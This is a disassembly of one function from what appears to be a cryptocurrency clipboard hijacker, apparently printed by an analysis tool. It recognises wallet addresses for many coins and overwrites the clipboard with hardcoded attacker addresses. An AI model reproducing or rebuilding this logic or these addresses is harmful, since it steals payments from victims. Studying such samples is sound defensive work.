Function at 0x403480
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x58
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x30
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x74
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x68
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x51
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x52
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4e
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x41
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x53
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x7a
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x73
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x71
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x63
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x34
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x61
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x46
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x47
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x62
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x55
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x45
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
je 0x403611
xor al, al
jmp 0x403b01
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x34
jne 0x403634
cmp dword [ebp - 4], 0x5f
jb 0x403628
cmp dword [ebp - 4], 0x6a
jbe 0x40362f
xor al, al
jmp 0x403b01
jmp 0x403715
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x72
jne 0x403657
cmp dword [ebp - 4], 0x19
jb 0x40364b
cmp dword [ebp - 4], 0x23
jbe 0x403652
xor al, al
jmp 0x403b01
jmp 0x403715
push 0x4107f0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403682
cmp dword [ebp - 4], 0x32
jb 0x403676
cmp dword [ebp - 4], 0x38
jbe 0x40367d
xor al, al
jmp 0x403b01
jmp 0x403715
push 0x41080c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4036aa
cmp dword [ebp - 4], 0x2a
jb 0x4036a1
cmp dword [ebp - 4], 0x30
jbe 0x4036a8
xor al, al
jmp 0x403b01
jmp 0x403715
push 0x41081c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4036d2
cmp dword [ebp - 4], 0x62
jb 0x4036c9
cmp dword [ebp - 4], 0x69
jbe 0x4036d0
xor al, al
jmp 0x403b01
jmp 0x403715
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x55
je 0x4036f3
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
je 0x4036f3
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x42
jne 0x403702
cmp dword [ebp - 4], 9
je 0x403700
xor al, al
jmp 0x403b01
jmp 0x403715
cmp dword [ebp - 4], 0x15
jb 0x40370e
cmp dword [ebp - 4], 0x38
jbe 0x403715
xor al, al
jmp 0x403b01
push str.bitcoincash:
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x4037bf
mov dword [ebp - 0x18], 0
jmp 0x40373e
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 4]
jae 0x4037bf
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x31
jne 0x403785
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x4f
je 0x40377e
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x49
je 0x40377e
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x6c
jne 0x403785
xor al, al
jmp 0x403b01
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
push eax
call sub.ntdll.dll_isalpha
add esp, 4
test eax, eax
jne 0x4037ba
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
push eax
call sub.ntdll.dll_isdigit
add esp, 4
test eax, eax
jne 0x4037ba
xor al, al
jmp 0x403b01
jmp 0x403735
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
jne 0x4037ef
cmp dword [ebp - 4], 0x15
jne 0x4037d9
mov dword [ebp - 8], str.14673222387840093601L
jmp 0x4037ef
cmp dword [ebp - 4], 0x30
jne 0x4037e8
mov dword [ebp - 8], str.12gcwY6q4pv4DBbEjeQXwbhDBesLDc755VE2kyzzXRtvBvzd
jmp 0x4037ef
mov dword [ebp - 8], str.18xjALsLW57DQcXSgvGE8H9iXkXYvPjSWc
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
jne 0x403816
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x50
jne 0x40380f
mov dword [ebp - 8], str.3PLk48rqFRT7ZB2GZVHMJE5aiHr5jjBfZcw
jmp 0x403816
mov dword [ebp - 8], str.39t2ndtRZKxHPHaprbe6kPaws4vs1nWA94
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x71
jne 0x403828
mov dword [ebp - 8], str.qz9vrpv9h2j5e6fsqwwsh8e9aaumwvql956ynh9rs9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x58
jne 0x40383a
mov dword [ebp - 8], str.XmgkLqGXu8HGU7tTbbwWvaJYrgvybx3eZE
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x44
jne 0x40384c
mov dword [ebp - 8], str.DSVC6eMqTCpkaMkCVp6Yn2U7FYkU76VhKB
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x30
jne 0x40385e
mov dword [ebp - 8], str.0xd4F8DfD1cDBa76e9ac6b3b31Ef3C6C6c3D1ea1d0
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x4c
jne 0x403870
mov dword [ebp - 8], str.LXz2Jhi73bna54msz2zpsEpRVAh8KbeYRL
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x72
jne 0x403882
mov dword [ebp - 8], str.rPTusqR9SMoh7QuYfJ3EJF7Ewogp6HVJEt
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x54
jne 0x403894
mov dword [ebp - 8], str.TCW3T7UyyN3MWqakTPViWVRAL1kGsYyTL6
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x74
jne 0x4038c7
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x31
je 0x4038b7
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x32
jne 0x4038c0
mov dword [ebp - 8], str.t1gE3Hz4ivvEAQMWagv5XuUMkUPcnNkuNGB
jmp 0x4038c7
mov dword [ebp - 8], str.tz1U9d1x7U3AEMw8UPSVMtEH4u9eShBX6prG
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x68
jne 0x4038d9
mov dword [ebp - 8], str.hxd697fe63e8c4d138cd47d9cdbff6bbf6facbd1fb
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x51
jne 0x4038eb
mov dword [ebp - 8], str.QQeW6TaSKUA9yuG2mPKMd6epoXa6vnRqh6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x52
jne 0x4038fd
mov dword [ebp - 8], str.RRqRTmr9WDk2LdTn7mfMHXofz1XaoTrG3C
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x4e
jne 0x40390f
mov dword [ebp - 8], str.NBGLRULGKDFPLIDQZRDQOORKONAV5VRWOV3CDGJW
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x41
jne 0x403921
mov dword [ebp - 8], str.AUpwoQdnjVynLKhDkNt1TJh6sgduJnxyJy
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x53
jne 0x403933
mov dword [ebp - 8], str.SNjNq8EbkPcfEqQtE6FTM5eftqS33otZY4
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x7a
jne 0x403945
mov dword [ebp - 8], str.zil1afs50sm4fe7ulsdygvvl7x6tygtcwmkrqtzqlq
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x73
jne 0x403957
mov dword [ebp - 8], str.s1iibbBPLCP843XGjxRxoT9Skk542HMLU5v
push str.bitcoincash
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403971
mov dword [ebp - 8], str.bitcoincash:qz9vrpv9h2j5e6fsqwwsh8e9aaumwvql956ynh9rs9
push str.cosmos
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40398b
mov dword [ebp - 8], str.cosmos1j2j4n8mn2al28g62uzsrf9jhhqjsdpr58et5j4
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x34
jne 0x40399d
mov dword [ebp - 8], str.46wi3NQz8eWV9HnGGKtpqKFcyGqWvLXsRP9C4oh3FgJ8M11QzmSrWWu6hW2kdredmQDYFjkJNg8t4Lye6vPuRcCsK71DPYr
push str.addr
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4039b7
mov dword [ebp - 8], str.addr1qx6957p39d7v53mvqe7gqc62eazsmmxhlth870590x9v8mq0pjv9yx5jd4sgndnt87zmdutq87r8xh0m8pn65k2p9yasl4vamq
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x46
jne 0x4039c9
mov dword [ebp - 8], str.Fd8ScFbi4ZnkrDYZa2Fhanx3BuoWXFzDaG
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
jne 0x4039ea
cmp dword [ebp - 4], 0x38
jne 0x4039e3
mov dword [ebp - 8], str.GAWB6FUMRQBOF4JSVWAH6GO26C24UL5P44G3LDWK46WMFAS2TAZD7EBC
jmp 0x4039ea
mov dword [ebp - 8], str.GLnwYTx21SBA1XAsBqtFumkDMpB97tmqsp
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x62
jne 0x403a43
push 0x410d7c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a0f
mov dword [ebp - 8], str.bnb1yzw7m55vrhqmmw2e0xpven8q49u8m63prv3hhz
push str.band
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a29
mov dword [ebp - 8], str.band1ecl9c2w2dtxx70pewvsl6le3sd8srrlg36vthx
push 0x410de8
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a43
mov dword [ebp - 8], str.bc1q4eym03072yk0zahdm9jym28vk0dxwyvs57sr6g
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
jne 0x403a55
mov dword [ebp - 8], str.U30212907
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x45
jne 0x403a67
mov dword [ebp - 8], str.E30940134
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x42
jne 0x403a79
mov dword [ebp - 8], str.B30912949
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x403aff
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x403aff
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403aff
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x403aff
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, dword [ebp - 0x14]
push ecx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret